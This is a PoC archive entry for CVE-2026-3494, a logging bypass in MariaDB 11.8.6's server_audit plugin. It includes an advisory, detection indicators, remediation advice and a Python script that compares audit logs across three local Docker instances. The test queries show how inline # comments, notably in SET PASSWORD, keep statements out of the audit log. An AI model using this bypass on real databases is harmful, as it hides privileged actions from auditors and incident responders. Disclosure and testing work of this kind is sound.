PoC Archive PoC Archive
Medium CVE-2026-3494 unpatched

MariaDB server_audit Plugin Logging Bypass via Inline Comments (CVE-2026-3494)

by KKongTen · 2026-07-05

Severity
Medium
CVE
CVE-2026-3494
Category
network
Affected product
MariaDB Server server_audit audit-logging plugin
Affected versions
MariaDB 11.8.6 (regression versus 11.8.5 and below, including 10.x branches)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherKKongTen
CVE / AdvisoryCVE-2026-3494
Categorynetwork
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsmariadb, audit-log-bypass, server_audit, logging-evasion, database, regression, sql
RelatedN/A

Affected Target

FieldValue
Software / SystemMariaDB Server server_audit audit-logging plugin
Versions AffectedMariaDB 11.8.6 (regression versus 11.8.5 and below, including 10.x branches)
Language / PlatformPython 3 (PoC), Docker Compose lab, target is MariaDB server
Authentication RequiredYes (a database user account)
Network Access RequiredYes

Summary

CVE-2026-3494 is a logging-omission regression in MariaDB’s server_audit plugin. When server_audit is configured with filters such as QUERY_DCL, QUERY_DDL, and QUERY_DML, certain queries containing inline # or -- comments — including queries that trigger error 1046 (“No database selected”) and SET PASSWORD statements with a trailing comment — are silently omitted from the audit log on MariaDB 11.8.6, even though the same queries were correctly logged on 11.8.5 and earlier. The included PoC spins up three MariaDB versions in Docker (10.3.39, 11.8.5, 11.8.6) and runs a matrix of identical test queries against each, comparing the resulting server_audit.log contents to demonstrate the logging gap on 11.8.6.


Vulnerability Details

Root Cause

A parser behavior change in the server_audit plugin’s query-classification logic on MariaDB 11.8.6 appears to mishandle statements containing inline #/-- comments in certain error and DCL-statement scenarios, causing those queries to be dropped from the audit trail instead of logged.

Attack Vector

  1. Obtain a database account with access to a MariaDB 11.8.6 instance running server_audit with DCL/DDL/DML filters enabled.
  2. Issue a sensitive query (e.g. SET PASSWORD ... # comment) or a query that triggers error 1046, with a trailing inline comment.
  3. The audit plugin fails to record the statement in server_audit.log, while equivalent uncommented queries or the same queries on 11.8.5 are logged normally.
  4. Sensitive actions (e.g. password changes) can be performed while evading the audit trail, hindering detection and forensic reconstruction.

Impact

Attackers or malicious insiders with database access can perform sensitive operations, such as password changes, without leaving an audit trail, undermining compliance and incident-response capabilities.


Environment / Lab Setup

Target:   MariaDB 10.3.39 / 11.8.5 / 11.8.6 (Docker Compose, three parallel instances)
Attacker: Docker, Docker Compose, Python 3, pymysql

Proof of Concept

PoC Script

See poc/poc.py, docker-compose.yml, Dockerfile, config/, and init/ in this folder.

1
2
3
docker compose up --build -d
pip install pymysql
python poc/poc.py

The script connects to all three MariaDB instances (ports 3306/3307/3308), runs five test-case queries (normal query, two error-triggering queries, a commented SET PASSWORD, and a commented SELECT) against each, then reads and compares each instance’s server_audit.log to show which queries were logged versus silently omitted on 11.8.6.


Detection & Indicators of Compromise

Signs of compromise:

  • Password or privilege changes observed via other means (e.g. application logs) with no corresponding server_audit.log entry
  • Queries containing inline comments immediately preceding sensitive operations
  • Discrepancies when comparing audit coverage across MariaDB versions during upgrades

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor MariaDB advisories for a server_audit parser fix
Interim mitigationAvoid relying solely on server_audit for compliance-critical logging until fixed; supplement with general query logging or proxy-level auditing that is independent of comment parsing

References


Notes

Mirrored from https://github.com/KKongTen/CVE-2026-3494 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
import pymysql
import time
import os
import re

# ANSI Color Codes
class Color:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[34m'  # 흰색 배경에서 잘 보이는 진한 파란색
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

TARGETS = [
    ("10.3.39", "127.0.0.1", 3306),
    ("11.8.5", "127.0.0.1", 3307),
    ("11.8.6", "127.0.0.1", 3308),
]

DB_USER = "u01"
DB_PASS = "Test1234!"

# 스크립트 위치 기준 절대 경로 설정
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))

LOG_PATHS = {
    3306: os.path.join(BASE_DIR, "logs/103/server_audit.log"),
    3307: os.path.join(BASE_DIR, "logs/1185/server_audit.log"),
    3308: os.path.join(BASE_DIR, "logs/1186/server_audit.log"),
}

TEST_CASES = [
    (
        "TEST_CASE_1_NORMAL_SELECT",
        "SELECT host, user FROM mysql.user;",
        "mysql.user"
    ),
    (
        "TEST_CASE_2_A_ERROR_1146",
        "SELECT * FROM mysqql.user;",
        "mysqql.user"
    ),
    (
        "TEST_CASE_2_B_ERROR_1046",
        "SELECT * FROM user;",
        "select * from user"
    ),
    (
        "TEST_CASE_3_COMMENT_SET_PASSWORD",
        """SET PASSWORD
# CVE-2026-3494 Test
FOR 'u01'@'localhost' = PASSWORD('Test1234!');""",
        "SET PASSWORD"
    ),
    (
        "TEST_CASE_4_COMMENT_SELECT",
        """SELECT
# CVE-2026-3494 Test #2
HOST, USER FROM mysql.user;""",
        "CVE-2026-3494 Test #2"
    ),
]


def execute_query(conn, query):
    try:
        with conn.cursor() as cursor:
            cursor.execute(query)
        conn.commit()
    except Exception as e:
        print(f"    [!] Query Error: {e}")


def read_log(path):
    try:
        with open(path, "r") as f:
            return f.read()
    except:
        return ""


# SQL 추출 (MariaDB audit log 대응 핵심)
def extract_sql(log_text):
    # 이스케이프된 따옴표(\')를 포함한 전체 쿼리 내부 내용만 추출
    return re.findall(r"'((?:[^'\\]|\\.)*)'", log_text, re.DOTALL)


def normalize(text):
    return re.sub(r"\s+", " ", text).strip().lower()


def wait_for_flush(path):
    """
    MariaDB audit log flush latency 대응
    """
    time.sleep(2)
    return read_log(path)


def test_target(name, host, port):
    print(f"\n==============================")
    print(f"[*] Testing MariaDB {name}")
    print(f"==============================")

    log_path = LOG_PATHS[port]

    try:
        conn = pymysql.connect(
            host=host,
            port=port,
            user=DB_USER,
            password=DB_PASS,
            autocommit=True
        )

        base_log = read_log(log_path)

        for case_name, query, keyword in TEST_CASES:
            print(f"\n[+] {case_name}")

            execute_query(conn, query)

            final_log = wait_for_flush(log_path)

            # 신규 로그만 추출
            new_log = final_log[len(base_log):]

            sql_list = extract_sql(new_log)
            normalized_sql = [normalize(s) for s in sql_list]

            # 디버깅을 위해 추출된 SQL 확인 (필요 시 주석 해제)
            # if normalized_sql: print(f"    [DEBUG] Extracted SQL count: {len(normalized_sql)}")

            # keyword 검사 (정규화 기반)
            hit = any(normalize(keyword) in s for s in normalized_sql)

            # 결과 판정 및 상태 기호 설정
            status_symbol = f"{Color.END}" if hit else f"{Color.END}"
            status_text = f"{Color.GREEN}LOGGED{Color.END}" if hit else f"{Color.RED}NOT LOGGED{Color.END}"

            print(f"\n    [{status_symbol}] {Color.BOLD}Result: {status_text}{Color.END}")

            # 실제 발생한 로그 내용 출력 (가독성 개선)
            if new_log.strip():
                print(f"    {Color.BLUE}>> Actual Log:{Color.END}")
                for line in new_log.strip().split('\n'):
                    # 로그 내의 \n 문자를 실제 줄바꿈으로 변환하여 출력
                    formatted_line = line.replace('\\n', '\n       | ')
                    print(f"       | {formatted_line}")
            else:
                print(f"       {Color.BLUE}(No new log entry detected){Color.END}")

            base_log = final_log
            print(f"\n{Color.CYAN}{'='*60}{Color.END}")

        conn.close()

    except Exception as e:
        print(f"[ERROR] {e}")


def main():
    print("=== CVE-2026-3494 PoC (Stable Audit Verification v2) ===")

    for target in TARGETS:
        test_target(*target)


if __name__ == "__main__":
    main()